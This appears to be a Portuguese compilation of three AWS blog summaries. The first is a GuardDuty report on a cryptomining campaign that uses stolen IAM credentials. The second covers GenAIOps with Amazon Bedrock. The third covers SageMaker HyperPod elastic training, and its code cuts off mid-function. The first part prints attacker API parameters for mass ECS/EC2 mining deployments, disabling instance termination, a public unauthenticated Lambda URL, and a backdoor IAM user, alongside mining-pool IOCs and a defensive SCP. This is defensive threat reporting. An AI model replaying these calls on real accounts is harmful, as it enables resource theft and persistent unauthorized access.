Category: Uncategorized

Uma campanha sofisticada de mineração de criptomoedas identificada

A Amazon GuardDuty e os sistemas automatizados de monitoramento de segurança da AWS detectaram uma campanha contínua de mineração de criptomoedas iniciada em 2 de novembro de 2025. A operação utiliza credenciais comprometidas de Gestão de Identidade e Acesso (IAM) para direcionar Amazon Elastic Container Service (Amazon ECS) e Amazon Elastic Compute Cloud (Amazon EC2).

O GuardDuty Extended Threat Detection conseguiu correlacionar sinais em múltiplas fontes de dados e elevar uma descoberta de sequência de ataque com severidade crítica. Utilizando capacidades avançadas de inteligência de ameaças e mecanismos de detecção existentes, o GuardDuty identificou proativamente essa campanha em andamento e alertou rapidamente os clientes sobre a ameaça.

A Amazon Web Services (AWS) está compartilhando descobertas relevantes e orientação de mitigação para ajudar clientes a tomar medidas apropriadas. É importante notar que essas ações não exploram uma vulnerabilidade em um serviço AWS, mas exigem credenciais válidas que um usuário não autorizado utiliza de forma indevida. Embora essas ações ocorram no domínio do cliente do modelo de responsabilidade compartilhada, a AWS recomenda passos que clientes podem adotar para detectar, prevenir ou reduzir o impacto dessa atividade.

Entendendo a campanha de mineração

A campanha de mineração de criptomoedas detectada recentemente empregou uma técnica inovadora de persistência projetada para interromper a resposta a incidentes e estender operações de mineração. A campanha contínua foi inicialmente identificada quando engenheiros de segurança do GuardDuty descobriram técnicas de ataque semelhantes sendo usadas em múltiplas contas de clientes AWS, indicando uma campanha coordenada visando clientes que usam credenciais IAM comprometidas.

Operando a partir de um provedor de hospedagem externo, o ator de ameaça rapidamente enumerou quotas de serviço do Amazon EC2 e permissões de IAM antes de implantar recursos de mineração em EC2 e ECS. Dentro de 10 minutos após o ator de ameaça obter acesso inicial, mineradores de criptomoedas estavam operacionais.

Uma técnica chave observada nesse ataque foi o uso de ModifyInstanceAttribute com desativação de terminação de API definida como verdadeira, forçando as vítimas a reativar a terminação de API antes de excluir os recursos impactados. Desabilitar proteção de terminação de instância adiciona considerações extra para capacidades de resposta a incidentes e pode interromper controles de remediação automatizados.

O uso scripted do ator de ameaça de múltiplos serviços de computação, combinado com técnicas de persistência emergentes, representa um avanço nas metodologias de persistência de mineração de criptomoedas que equipes de segurança devem estar cientes. As múltiplas capacidades de detecção do GuardDuty identificaram com sucesso a atividade maliciosa através de inteligência de ameaças de domínio/IP do EC2, detecção de anomalias e sequências de ataque EC2 do Extended Threat Detection. O GuardDuty Extended Threat Detection conseguiu correlacionar sinais como uma descoberta AttackSequence:EC2/CompromisedInstanceGroup.

Indicadores de compromisso

Equipes de segurança devem monitorar os seguintes indicadores para identificar essa campanha de mineração de criptomoedas. Como atores de ameaça frequentemente modificam suas táticas e técnicas, esses indicadores podem evoluir ao longo do tempo:

• Imagem de contêiner maliciosa: A imagem Docker Hub yenik65958/secret, criada em 29 de outubro de 2025, com mais de 100.000 pulls, foi usada para implantar mineradores de criptomoedas em ambientes containerizados. Essa imagem maliciosa continha um binário SBRMiner-MULTI para mineração de criptomoedas. Essa imagem específica foi removida do Docker Hub, mas atores de ameaça podem implantar imagens semelhantes sob nomes diferentes.
• Automação e ferramentas: Padrões de user agent do AWS SDK for Python (Boto3) indicando scripts de automação baseados em Python foram usados em toda a cadeia de ataque.
• Domínios de mineração de criptomoedas: asia[.]rplant[.]xyz, eu[.]rplant[.]xyz e na[.]rplant[.]xyz.
• Padrões de nomenclatura de infraestrutura: Grupos de auto scaling seguiam convenções de nomes específicas: SPOT-us-east-1-G*-* para instâncias spot e OD-us-east-1-G*-* para instâncias on-demand, onde G indica o número do grupo.

Análise da cadeia de ataque

A campanha de mineração de criptomoedas seguiu uma progressão de ataque sistemática em múltiplas fases.

Acesso inicial, descoberta e preparação do ataque

O ataque começou com credenciais de usuário IAM comprometidas possuindo privilégios tipo administrador a partir de uma rede e localização anômala, acionando descobertas de detecção de anomalias do GuardDuty. Durante a fase de descoberta, o atacante sistematicamente explorou ambientes AWS do cliente para entender quais recursos poderia implantar. Eles verificaram quotas de serviço do Amazon EC2 (GetServiceQuota) para determinar quantas instâncias podiam lançar, depois testaram suas permissões chamando a API RunInstances múltiplas vezes com a flag DryRun habilitada.

A flag DryRun foi uma tática de reconhecimento deliberada que permitiu ao ator validar suas permissões de IAM sem realmente lançar instâncias, evitando custos e reduzindo sua pegada de detecção. Essa técnica demonstra que o ator de ameaça estava validando sua capacidade de implantar infraestrutura de mineração de criptomoedas antes de agir. Organizações que não usam tipicamente flags DryRun em seus ambientes devem considerar monitorar esse padrão de API como um indicador de aviso antecipado de compromisso.

AWS CloudTrail logs podem ser usados com Amazon CloudWatch alarmes, Amazon EventBridge, ou suas ferramentas de terceiros para alertar sobre esses padrões de API suspeitos.

O ator de ameaça chamou duas APIs para criar roles de IAM como parte de sua infraestrutura de ataque: CreateServiceLinkedRole para criar uma role para grupos de auto scaling e CreateRole para criar uma role para AWS Lambda. Eles então anexaram a política AWSLambdaBasicExecutionRole à role Lambda. Essas duas roles foram integrais aos estágios de impacto e persistência do ataque.

Impacto no Amazon ECS

O ator de ameaça primeiro criou dezenas de clusters ECS em todo o ambiente, às vezes excedendo 50 clusters ECS em um único ataque. Depois chamou RegisterTaskDefinition com uma imagem Docker Hub maliciosa yenik65958/secret:user. Com a mesma string usada para criação de cluster, o ator então criou um serviço, usando a definição de tarefa para iniciar mineração de criptomoedas em nós AWS Fargate de ECS.

O seguinte é um exemplo de parâmetros de solicitação de API para RegisterTaskDefinition com alocação máxima de CPU de 16.384 unidades:

{ "dryrun": false, "requiresCompatibilities": ["FARGATE"], "cpu": 16384, "containerDefinitions": [ { "name": "a1b2c3d4e5", "image": "yenik65958/secret:user", "cpu": 0, "command": [] } ], "networkMode": "awsvpc", "family": "a1b2c3d4e5", "memory": 32768 }

Usando essa definição de tarefa, o ator de ameaça chamou CreateService para lançar tarefas ECS Fargate com contagem desejada de 10:

{ "dryrun": false, "capacityProviderStrategy": [ { "capacityProvider": "FARGATE", "weight": 1, "base": 0 }, { "capacityProvider": "FARGATE_SPOT", "weight": 1, "base": 0 } ], "desiredCount": 10 }

A imagem maliciosa (yenik65958/secret:user) foi configurada para executar run.sh após ser implantada. O run.sh executa mineração com algoritmo randomvirel usando pools de mineração: asia|eu|na[.]rplant[.]xyz:17155. A flag nproc –all indica que o script deve usar todos os núcleos de processador.

Impacto no Amazon EC2

O ator criou dois templates de lançamento (CreateLaunchTemplate) e 14 grupos de auto scaling (CreateAutoScalingGroup) configurados com parâmetros de scaling agressivos, incluindo tamanho máximo de 999 instâncias e capacidade desejada de 20.

O seguinte é um exemplo de parâmetros de solicitação de CreateLaunchTemplate mostrando UserData sendo fornecido, instruindo as instâncias a começar mineração de criptomoedas:

{ "CreateLaunchTemplateRequest": { "LaunchTemplateName": "T-us-east-1-a1b2", "LaunchTemplateData": { "UserData": "", "ImageId": "ami-1234567890abcdef0", "InstanceType": "c6a.4xlarge" }, "ClientToken": "a1b2c3d4-5678-90ab-cdef-EXAMPLE11111" } }

O ator de ameaça criou grupos de auto scaling usando tanto Instâncias Spot quanto On-Demand para aproveitar quotas de serviço do Amazon EC2 e maximizar consumo de recursos. Os grupos Spot Instance direcionaram instâncias de GPU e aprendizado de máquina (ML) de alto desempenho (g4dn, g5, g5, p3, p4d, inf1), configuradas com alocação on-demand de 0% e estratégia otimizada para capacidade, definidas para escalar de 20 a 999 instâncias.

Os grupos On-Demand Instance direcionaram instâncias de computação, memória e uso geral (c5, c6i, r5, r5n, m5a, m5, m5n), configurados com alocação on-demand de 100%, também definidos para escalar de 20 a 999 instâncias. Após esgotar quotas de auto scaling, o ator lançou diretamente instâncias EC2 adicionais usando RunInstances para consumir a quota de instância EC2 restante.

Persistência

Uma técnica interessante observada nessa campanha foi o uso do ator de ameaça de ModifyInstanceAttribute em todas as instâncias EC2 lançadas para desabilitar terminação de API. Embora proteção de terminação de instância previna terminação acidental da instância, isso adiciona considerações extras para capacidades de resposta a incidentes e pode interromper controles de remediação automatizados.

O seguinte exemplo mostra parâmetros de solicitação de API para ModifyInstanceAttribute:

{ "disableApiTermination": { "value": true }, "instanceId": "i-1234567890abcdef0" }

Após todas as cargas de trabalho de mineração serem implantadas, o ator criou uma função Lambda com configuração que desvia autenticação de IAM e cria um endpoint Lambda público. O ator de ameaça então adicionou uma permissão à função Lambda que permite ao principal invocar a função. Os seguintes exemplos mostram parâmetros de solicitação CreateFunctionUrlConfig e AddPermission:

CreateFunctionUrlConfig: { "authType": "NONE", "functionName": "generate-service-a1b2c3d4" } AddPermission: { "functionName": "generate-service-a1b2c3d4", "functionUrlAuthType": "NONE", "principal": "*", "statementId": "FunctionURLAllowPublicAccess", "action": "lambda:InvokeFunctionUrl" }

O ator de ameaça concluiu o estágio de persistência criando um usuário de IAM user-x1x2x3x4 e anexando a política de IAM AmazonSESFullAccess (CreateUser, AttachUserPolicy). Eles também criaram uma chave de acesso e perfil de login para esse usuário (CreateAccessKey, CreateLoginProfile). Baseado na role de SES que foi anexada ao usuário, parece que o ator de ameaça estava tentando Amazon Simple Email Service (Amazon SES) phishing.

Para prevenir criação de URLs Lambda públicas, organizações podem implantar políticas de controle de serviço (SCPs) que negam criação ou atualização de URLs Lambda com AuthType de “NONE”:

{ "Version": "2012-10-17", "Statement": [ { "Effect": "Deny", "Action": [ "lambda:CreateFunctionUrlConfig", "lambda:UpdateFunctionUrlConfig" ], "Resource": "arn:aws:lambda:*:*:function/*", "Condition": { "StringEquals": { "lambda:FunctionUrlAuthType": "NONE" } } } ] }

Métodos de detecção usando GuardDuty

A abordagem multilayer de detecção do GuardDuty provou ser altamente eficaz na identificação de todos os estágios da cadeia de ataque usando inteligência de ameaças, detecção de anomalias e as capacidades recentemente lançadas de Extended Threat Detection para EC2 e ECS.

Você pode habilitar o plano de proteção foundational do GuardDuty para receber alertas sobre campanhas de mineração de criptomoedas como a descrita neste artigo. Para potencializar ainda mais as capacidades de detecção, recomenda-se fortemente habilitar GuardDuty Runtime Monitoring, que estenderá cobertura de descobertas para eventos de nível de sistema em Amazon EC2, Amazon ECS e Amazon Elastic Kubernetes Service (Amazon EKS).

Descobertas do GuardDuty para EC2

Descobertas de inteligência de ameaças para Amazon EC2 fazem parte do plano de proteção foundational do GuardDuty, que alertará sobre comportamentos de rede suspeitos envolvendo suas instâncias. Esses comportamentos podem incluir tentativas de força bruta, conexões com domínios maliciosos ou de criptografia e outros comportamentos suspeitos. Usando inteligência de ameaças de terceiros e inteligência de ameaças interna, incluindo defesa ativa de ameaças e MadPot, o GuardDuty fornece detecção sobre os indicadores neste artigo através das seguintes descobertas: CryptoCurrency:EC2/BitcoinTool.B e CryptoCurrency:EC2/BitcoinTool.B!DNS.

Descobertas do GuardDuty para IAM

As descobertas IAMUser/AnomalousBehavior abrangendo múltiplas categorias de tática (PrivilegeEscalation, Impact, Discovery) demonstram a capacidade de aprendizado de máquina do GuardDuty em detectar desvios do comportamento normal do usuário. No incidente descrito neste artigo, as credenciais comprometidas foram detectadas porque o ator de ameaça as usou a partir de uma rede e localização anômala e chamou APIs que eram incomuns para as contas.

Runtime Monitoring do GuardDuty

O GuardDuty Runtime Monitoring é um componente importante para correlação de sequência de ataque Extended Threat Detection. O Runtime Monitoring fornece sinais de nível de host, como visibilidade do sistema operacional, e estende cobertura de detecção analisando logs de nível de sistema indicando execução de processo malicioso a nível de host e contêiner, incluindo execução de programas de mineração de criptomoedas em suas cargas de trabalho.

As descobertas CryptoCurrency:Runtime/BitcoinTool.B!DNS e CryptoCurrency:Runtime/BitcoinTool.B detectam conexões de rede para domínios e IPs relacionados a criptografia, enquanto a descoberta Impact:Runtime/CryptoMinerExecuted detecta quando um processo em execução está associado a atividade de mineração de criptomoedas.

Extended Threat Detection do GuardDuty

Lançado na re:Invent 2025, a descoberta AttackSequence:EC2/CompromisedInstanceGroup representa uma das mais recentes capacidades Extended Threat Detection no GuardDuty. Esse recurso usa algoritmos de inteligência artificial e aprendizado de máquina para correlacionar automaticamente sinais de segurança em múltiplas fontes de dados a fim de detectar padrões de ataque sofisticados de grupos de recursos de EC2. Embora AttackSequences para EC2 estejam incluídas no plano de proteção foundational do GuardDuty, recomenda-se fortemente habilitar Runtime Monitoring. O Runtime Monitoring fornece insights e sinais chave de ambientes de computação, possibilitando detecção de atividades suspeitas de nível de host e melhorando correlação de sequências de ataque. Para sequências de ataque AttackSequence:ECS/CompromisedCluster, Runtime Monitoring é obrigatório para correlacionar atividade de nível de contêiner.

Recomendações de monitoramento e remediação

Para proteger contra ataques semelhantes de mineração de criptomoedas, clientes AWS devem priorizar controles fortes de gestão de identidade e acesso. Implemente credenciais temporárias em vez de chaves de acesso de longa duração, aplique autenticação multifator (MFA) para todos os usuários e aplique privilégio mínimo aos principais de IAM limitando acesso apenas às permissões necessárias.

Você pode usar AWS CloudTrail para registrar eventos em serviços AWS e consolidar logs em uma única conta para disponibilizá-los às equipes de segurança acessarem e monitorarem. Para saber mais, consulte Recebendo arquivos de log CloudTrail de múltiplas contas na documentação do CloudTrail.

Confirme que o GuardDuty está habilitado em todas as contas e regiões com Runtime Monitoring habilitado para cobertura abrangente. Integre o GuardDuty com AWS Security Hub e Amazon EventBridge ou ferramentas de terceiros para habilitar fluxos de trabalho de resposta automatizados e remediação rápida de descobertas de alta severidade. Implemente controles de segurança de contêiner, incluindo políticas de varredura de imagem e monitoramento para solicitações de alocação de CPU incomuns em definições de tarefa ECS. Finalmente, estabeleça procedimentos específicos de resposta a incidentes para ataques de mineração de criptomoedas, incluindo passos documentados para lidar com instâncias com terminação de API desabilitada—uma técnica usada por esse atacante para complicar esforços de remediação.

Se você acredita que sua conta AWS foi impactada por uma campanha de mineração de criptomoedas, consulte os passos de remediação na documentação do GuardDuty: Remediando credenciais AWS potencialmente comprometidas, Remediando uma instância EC2 potencialmente comprometida e Remediando um cluster ECS potencialmente comprometido. Para estar atualizado sobre as técnicas mais recentes, visite o Catálogo de Técnicas de Ameaça para AWS.

Fonte

GuardDuty Extended Threat Detection uncovers cryptomining campaign on Amazon EC2 and Amazon ECS (https://aws.amazon.com/blogs/security/cryptomining-campaign-targeting-amazon-ec2-and-amazon-ecs/)

Do DevOps tradicional ao GenAIOps

Organizações empresariais estão rapidamente evoluindo de experimentos com IA generativa para implantações em produção e soluções de IA agentic complexas. Esse movimento traz novos desafios em escalabilidade, segurança, governança e eficiência operacional. A série de posts introduz GenAIOps, que aplica princípios de DevOps a soluções de IA generativa, com implementação demonstrada através de aplicações alimentadas pelo Amazon Bedrock, um serviço gerenciado que oferece uma seleção de modelos de fundação (FMs) líderes da indústria.

Por anos, empresas implementaram com sucesso práticas DevOps no ciclo de vida de aplicações, otimizando integração contínua, entrega e implantação de soluções tradicionais. Conforme progridem em sua adoção de IA generativa, descobrem que as práticas DevOps convencionais não são suficientes para gerenciar cargas de IA em escala. Enquanto DevOps tradicional enfatiza colaboração entre equipes e lida com sistemas determinísticos e previsíveis, a natureza não-determinística e probabilística das saídas de IA exige uma abordagem diferente.

Benefícios do GenAIOps

GenAIOps ajuda as organizações em diversos aspectos:

• Confiabilidade e mitigação de riscos: Defende contra alucinações, lida com não-determinismo e permite atualizações seguras de modelos com guardrails, pipelines de avaliação e monitoramento automatizado.
• Escala e desempenho: Dimensiona para centenas de aplicações mantendo baixa latência e consumo eficiente de custos.
• Melhoria contínua e excelência operacional: Constrói ambientes consistentes, reutiliza e versiona ativos de IA generativa, gerencia ciclo de vida de contexto e modelos.
• Segurança e conformidade: Robustez em diferentes níveis — modelos, dados, componentes, aplicações e endpoints, abordando ataques de injeção de prompt, vazamento de dados e acesso não autorizado.
• Controles de governança: Estabelece políticas claras e responsabilidade sobre dados sensíveis e propriedade intelectual, alinhando com requisitos regulatórios.
• Otimização de custos: Otimiza utilização de recursos e gerencia risco de gastos excessivos.

Papéis e processos no GenAIOps

A implementação de GenAIOps expande papéis e processos para enfrentar desafios únicos associados à IA generativa. Proprietários de produto definem e priorizam casos de uso, estabelecem datasets de prompt de referência e validam adequação através de prototipagem rápida. Equipes GenAIOps e de plataforma padronizam infraestrutura de conta e provisionam ambientes para consumo de modelos, personalização, armazenamento de embeddings e orquestração de componentes, configurando pipelines de Integração Contínua/Entrega Contínua (CI/CD) com infraestrutura como código.

Equipes de segurança implementam defesa em profundidade com controles de acesso, protocolos de criptografia e guardrails, monitorando continuamente ameaças emergentes. Especialistas em risco, legal, governança e ética estabelecem frameworks de IA responsável e alcançam alinhamento regulatório. Equipes de dados coletam, preparam e mantêm datasets de alta qualidade. Engenheiros de IA e cientistas de dados desenvolvem código de aplicação, implementam técnicas de engenharia de prompt e constroem fluxos com intervenção humana.

Jornada de adoção em três estágios

Estágio 1: Exploração

Organizações novas em IA generativa começam com alguns projetos de prova de conceito (POCs) para demonstrar valor. Recursos são limitados e pequenos grupos de adotantes antecipados lideram. Governança é informal, com reuniões espontâneas com equipes legais. A arquitetura DevOps deve servir como baseline, com contas separadas para desenvolvimento, pré-produção e produção, isolamento de ambientes, e controle de custos por ambiente.

Implementação prática em quatro passos

Passo 1: Gerenciar dados para aplicações de IA generativa — Dados servem três funções críticas: potencializar sistemas de Retrieval Augmented Generation (RAG), fornecer verdade fundamental para avaliação de modelos e viabilizar treinamento e ajuste fino. Com Amazon Bedrock, você pode consultar banco de dados de vetores como Amazon OpenSearch Service ou usar Amazon Bedrock Knowledge Bases, uma capacidade gerenciada que implementa todo o fluxo RAG sem integrações customizadas. Configure guardrails para bloquear informações pessoais identificáveis (PII) que não devem ser enviadas ao modelo.

Passo 2: Estabelecer ambiente de desenvolvimento — Integre FMs e capacidades de IA generativa durante prototipagem em desenvolvimento. Use Amazon Bedrock Prompt Management para criar, testar, gerenciar e otimizar prompts. Use Amazon Bedrock Flows para fluxos multietapas como pipelines de análise de documentos. Configure Amazon Bedrock Guardrails para controles de segurança.

Passo 3: Avaliar desempenho — Com Amazon Bedrock Evaluations, avalie, compare e selecione o melhor FM usando avaliações automáticas (LLM-as-a-judge) e configure fluxos de avaliação com intervenção humana. Recomenda-se testar qualidade (correção e completude), segurança (comportamento indesejado), componentes isolados e usar validação estatística sobre centenas de casos de teste. Para otimização de custos, latência e throughput, Amazon Bedrock oferece Amazon Bedrock Prompt Caching, Amazon Bedrock Intelligent Prompt Routing, Amazon Bedrock Batch Inference e Provisioned Throughput.

Passo 4: Adicionar testes de IA ao pipeline CI/CD — Após identificar modelo, prompts e configurações ótimos, faça commit ao repositório de aplicação para ativar o pipeline CI/CD. O pipeline deve executar testes de avaliação predefinidos como portão de qualidade essencial. Quando testes passam nos limites de acurácia, segurança e desempenho, o pipeline implanta em pré-produção para validação final.

Passo 5: Monitorar solução de IA generativa — Com observabilidade de IA generativa, ganhe visibilidade para equilibrar custo, desempenho e latência. Monitore métricas operacionais (saúde do sistema, latência de aplicação com breakdown para operações de recuperação, inferência de modelo, uso de tokens), exceções de runtime (rate limiting, excedência de quotas de token), métricas de qualidade (relevância, correção, coerência de resposta), auditoria (logs de interações do usuário) e guardrails (tentativas de injeção de prompt, vazamento de PII).

No Amazon Bedrock, ative e capture logs de invocação de modelo em Amazon CloudWatch ou Amazon S3. O Amazon Bedrock está integrado com AWS CloudTrail, fornecendo registro de ações tomadas por usuários, papéis ou serviços AWS. Você pode consultar o repositório Bedrock-ICYM (I See You Monitoring) para solução de observabilidade open source ou usar soluções como Arize AI e Langfuse.

Estágio 2: Produção

Conforme as organizações entram no estágio de produção, estabelecem centros de excelência de IA generativa com papéis especializados: engenheiros de prompt, especialistas em avaliação de IA e engenheiros GenAIOps. Treinamento sistemático é implantado, conformidade transita para automação política, e colaboração move-se de coordenação informal para fluxos estruturados com handoffs definidos.

Padronizar repositórios de código e componentes reutilizáveis: Crie blueprints versionados e reutilizáveis para prompts, configuração de modelos e guardrails. Um template de prompt inclui variáveis substituíveis para acelerar engenharia de prompt. Armazene centralmente templates de prompt em catálogo. Para ferramentas de otimização, Prompt optimization in Amazon Bedrock ajuda refinar prompts. Armazene fluxos end-to-end como código no repositório para rastreamento de versão e implantação contínua.

Avaliação automatizada e loops de feedback: Armazene pipelines de avaliação como ativos compartilhados e deployáveis mantidos e versionados em repositório. Para avaliações que incluem revisão humana, use human-based model evaluation em Amazon Bedrock para orquestrar fluxos de avaliação humana.

Gateway centralizado de IA generativa: Organizações neste estágio podem se beneficiar de um gateway centralizado multi-provider para otimizar operações de modelo de linguagem grande (LLM). O Guidance for Multi-Provider Generative AI Gateway on AWS oferece acesso padronizado através de interface API única, gerenciamento unificado de chaves, rastreamento de quotas, monitoramento, balanceamento de carga e failover entre modelos. A solução suporta implantação com Amazon Elastic Container Service (Amazon ECS) ou Amazon Elastic Kubernetes Service (Amazon EKS).

Estágio 3: Reinvenção e IA agentic

Muitas organizações progridem de aplicações iniciais com LLM e implementações RAG para arquiteturas sofisticadas baseadas em agentes. Um agente de IA é um sistema autônomo que combina LLMs com ferramentas e fontes de dados externas para perceber seu ambiente, raciocinar, planejar e executar tarefas multietapas complexas com mínima intervenção humana.

A natureza probabilística de alguns componentes traz novos desafios. AgentOps estende GenAIOps para endereçar esses desafios, sendo tema de parte 2 desta série, que mergulha em AgentOps e designs de solução para sistemas multi-agente com Amazon Bedrock AgentCore.

Conclusão

Implementar GenAIOps alinha-se com o estágio de adoção de IA generativa de sua organização, acelera desenvolvimento através de avaliação sistemática e ativos reutilizáveis, e estabelece monitoramento robusto para soluções de IA generativa. Ao aplicar essas práticas, você mitiga riscos e maximiza valor empresarial com as capacidades gerenciadas do Amazon Bedrock.

Fonte

Operationalize generative AI workloads and scale to hundreds of use cases with Amazon Bedrock – Part 1: GenAIOps (https://aws.amazon.com/blogs/machine-learning/operationalize-generative-ai-workloads-and-scale-to-hundreds-of-use-cases-with-amazon-bedrock-part-1-genaiops/)

Infraestrutura de IA com múltiplas demandas simultâneas

Ambientes modernos de inteligência artificial executam várias tarefas em paralelo no mesmo cluster: pré-treinamento de modelos foundation (FM), ajuste fino (fine-tuning), inferência em produção e avaliação. Nesse contexto compartilhado, a demanda por aceleradores de IA oscila continuamente — cargas de trabalho de inferência crescem conforme padrões de tráfego, e experimentos terminam liberando recursos.

Apesar dessa disponibilidade dinâmica de aceleradores, os trabalhos de treinamento tradicionais permanecem presos à sua alocação computacional inicial, incapazes de aproveitar capacidade ociosa sem intervenção manual. O SageMaker HyperPod agora suporta treinamento elástico, permitindo que cargas de trabalho de aprendizado de máquina dimensionem automaticamente conforme a disponibilidade de recursos. Essa abordagem maximiza utilização de GPU, reduz custos e acelera desenvolvimento de modelos através da adaptação dinâmica de recursos, mantendo qualidade de treinamento e minimizando intervenção manual.

O problema da alocação estática de recursos

Considere um cluster de 256 GPUs executando simultaneamente treinamento e inferência. Durante as horas de menor tráfego à noite, a inferência pode liberar 96 GPUs. Essas 96 GPUs ficam ociosas e disponíveis para acelerar o treinamento. Porém, trabalhos de treinamento tradicionais rodam em escala fixa — um trabalho que começa com 32 GPUs fica preso a essa configuração inicial, enquanto 96 GPUs adicionais permanecem ociosas. Isso representa 2.304 horas GPU desperdiçadas por dia, traduzindo-se em milhares de dólares gastos diariamente em infraestrutura subutilizada.

O problema se intensifica conforme o cluster cresce. Dimensionar treinamento distribuído dinamicamente é tecnicamente complexo. Mesmo com infraestrutura que suporta elasticidade, é necessário pausar trabalhos, reconfigurar recursos, ajustar paralelização e redistribuir checkpoints. Essa complexidade piora pela necessidade de manter progresso de treinamento e acurácia do modelo através dessas transições. Apesar de suporte subjacente do SageMaker HyperPod com Amazon EKS e frameworks como PyTorch e NeMo, intervenção manual ainda consome horas de tempo de engenharia.

A necessidade de ajustar repetidamente execuções de treinamento conforme disponibilidade de aceleradores distrai equipes de seu trabalho real: desenvolvimento de modelos. Compartilhamento de recursos e preempção de cargas de trabalho adicionam outra camada de complexidade. Sistemas atuais carecem de capacidade para lidar graciosamente com requisições parciais de recursos de cargas de trabalho prioritárias. Imagine um cenário onde um trabalho crítico de ajuste fino necessita 8 GPUs em um cluster onde uma carga de pré-treinamento ocupa todas as 32 GPUs. Sistemas atuais forçam escolha binária: ou parar o trabalho inteiro de pré-treinamento, ou negar recursos à carga prioritária, ainda que 24 GPUs fossem suficientes para pré-treinamento em escala reduzida. Essa limitação leva organizações a superdimensionar infraestrutura evitando contenção de recursos, resultando em filas maiores de trabalhos pendentes, custos elevados e eficiência de cluster reduzida.

Solução: treinamento elástico automático

A AWS oferece através do SageMaker HyperPod uma solução: treinamento elástico. Cargas de trabalho de treinamento agora dimensionam automaticamente para utilizar aceleradores disponíveis e se contraem graciosamente quando recursos são necessários em outro lugar, tudo mantendo qualidade de treinamento. O SageMaker HyperPod gerencia a orquestração complexa de gerenciamento de checkpoint, reatribuição de classificações e coordenação de processos, minimizando intervenção manual e ajudando equipes focar em desenvolvimento de modelos.

O operador de treinamento do SageMaker HyperPod integra-se com o plano de controle do Kubernetes (K8s) e agendador de recursos para tomar decisões de dimensionamento. Monitora eventos de ciclo de vida de pod, disponibilidade de nó e sinais de prioridade do agendador, detectando oportunidades de dimensionamento quase instantaneamente, tanto de recursos recém-disponíveis quanto de novas requisições de cargas prioritárias. Antes de iniciar qualquer transição, o operador avalia ações de dimensionamento potenciais contra políticas configuradas (limites mínimos e máximos de nó, limites de frequência de dimensionamento).

Como funciona o dimensionamento elástico

Treinamento elástico adiciona ou remove réplicas paralelas de dados mantendo tamanho global de lote constante. Quando recursos ficam disponíveis, novas réplicas se integram e aceleram throughput sem afetar convergência. Quando carga prioritária necessita recursos, o sistema remove réplicas em vez de matar o trabalho inteiro. Treinamento continua em capacidade reduzida.

Quando evento de dimensionamento ocorre, o operador transmite sinal de sincronização para todas as classificações (ranks). Cada processo conclui passo atual e salva estado usando Checkpoint Distribuído do PyTorch (DCP — Distributed Checkpoint). Conforme novas réplicas se integram ou existentes saem, o operador recalcula atribuições de classificação e inicia reinicializações de processos através do trabalho de treinamento. DCP então carrega e redistribui dados de checkpoint para corresponder à nova contagem de réplica, garantindo que cada worker tenha estado correto de modelo e otimizador. Treinamento retoma com réplicas ajustadas, e tamanho global de lote constante garante convergência não afetada.

Para clusters usando Kueue (incluindo SageMaker HyperPod task governance), treinamento elástico implementa gerenciamento inteligente de carga de trabalho através de múltiplas requisições de admissão. O operador primeiro requisita recursos mínimos necessários com prioridade alta, depois incrementalmente requisita capacidade adicional com prioridade mais baixa. Essa abordagem habilita preempção parcial: quando cargas prioritárias necessitam recursos, apenas réplicas de prioridade mais baixa são revogadas, permitindo treinamento continuar na linha de base garantida em vez de terminar completamente.

Começando com treinamento elástico

Pré-requisitos

Antes de integrar treinamento elástico em sua carga de trabalho de treinamento, certifique-se que seu ambiente atende aos seguintes requisitos:

• Cluster SageMaker HyperPod orquestrado por Amazon EKS com Kubernetes v1.32 ou superior
• HyperPod training operator v1.2 ou superior instalado no cluster
• SageMaker HyperPod task governance v1.3.1 ou superior para enfileiramento, priorização e agendamento de trabalhos

Configurar isolamento de namespace e controles de recurso

Se usar escalonamento automático de cluster (como Karpenter), configure ResourceQuotas no nível de namespace. Sem elas, requisições de recurso do treinamento elástico podem disparar provisionamento ilimitado de nó. ResourceQuotas limitam máximo de recursos que trabalhos podem requisitar mantendo ainda comportamento elástico dentro de limites definidos.

Exemplo de ResourceQuota para namespace limitado a 8 instâncias ml.p5.48xlarge (cada instância possui 8 GPUs NVIDIA H100, 192 vCPUs e 640 GiB memória, totalizando 64 GPUs, 1.536 vCPUs e 5.120 GiB memória):

apiVersion: v1
kind: ResourceQuota
metadata:
  name: training-quota
  namespace: team-ml
spec:
  hard:
    nvidia.com/gpu: "64"
    vpc.amazonaws.com/efa: "256"
    requests.cpu: "1536"
    requests.memory: "5120Gi"
    limits.cpu: "1536"
    limits.memory: "5120Gi"

Recomenda-se organizar cargas de trabalho em namespaces separados por time ou projeto, com AWS Identity and Access Management (IAM) mapeamentos de controle de acesso baseado em papéis (RBAC) suportando controle de acesso apropriado e isolamento de recursos.

Construir container de treinamento HyperPod

O operador de treinamento HyperPod usa launcher customizado do PyTorch do pacote Python HyperPod Elastic Agent para detectar eventos de dimensionamento, coordenar operações de checkpoint e gerenciar processo de rendezvous quando world size muda. Instale o agente elástico, depois substitua torchrun por hyperpodrun em seu comando de inicialização. Veja HyperPod elastic agent para mais detalhes.

Exemplo de configuração de container de treinamento:

FROM 
RUN pip install hyperpod-elastic-agent
ENTRYPOINT ["entrypoint.sh"]
# entrypoint.sh
hyperpodrun --nnodes=node_count --nproc-per-node=proc_count \
--rdzv-backend hyperpod

Habilitar dimensionamento elástico no código de treinamento

Complete os seguintes passos para habilitar dimensionamento elástico em seu código de treinamento:

1. Adicione importação do agente elástico HyperPod ao script de treinamento:

from hyperpod_elastic_agent.elastic_event_handler import elastic_event_detected

2. Modifique seu loop de treinamento para verificar eventos elásticos após cada lote:

def train_epoch(model, dataloader, optimizer, args):
    for batch_idx, batch_data in enumerate(dataloader):
        # Forward and backward pass
        loss = model(batch_data).loss
        loss.backward()
        optimizer.step()
        optimizer.zero_grad()
        
        # Check if we should checkpoint (periodic or scaling event)
        should_checkpoint = (batch_idx + 1) % args.checkpoint_freq == 0
        elastic_event = elastic_event_detected()
        
        # Save checkpoint if scaling-up or scaling down job
        if should_checkpoint or elastic_event:
            save_checkpoint(model, optimizer, scheduler, checkpoint_dir=args.checkpoint_dir, step=global_step)
        
        if elastic_event:
            print("Elastic scaling event detected. Checkpoint saved.")
            return

3. Implemente funções de salvar e carregar checkpoint usando PyTorch DCP:

import torch.distributed.checkpoint as dcp
from torch.distributed.checkpoint.state_dict import get_state_dict, set_state_dict

def save_checkpoint(model, optimizer, lr_scheduler, user_content, checkpoint_path):
    """Save checkpoint using DCP for elastic training."""
    state_dict = {
        "model": model,
        "optimizer": optimizer,
        "lr_scheduler": lr_scheduler,
        **user_content
    }
    dcp.save(
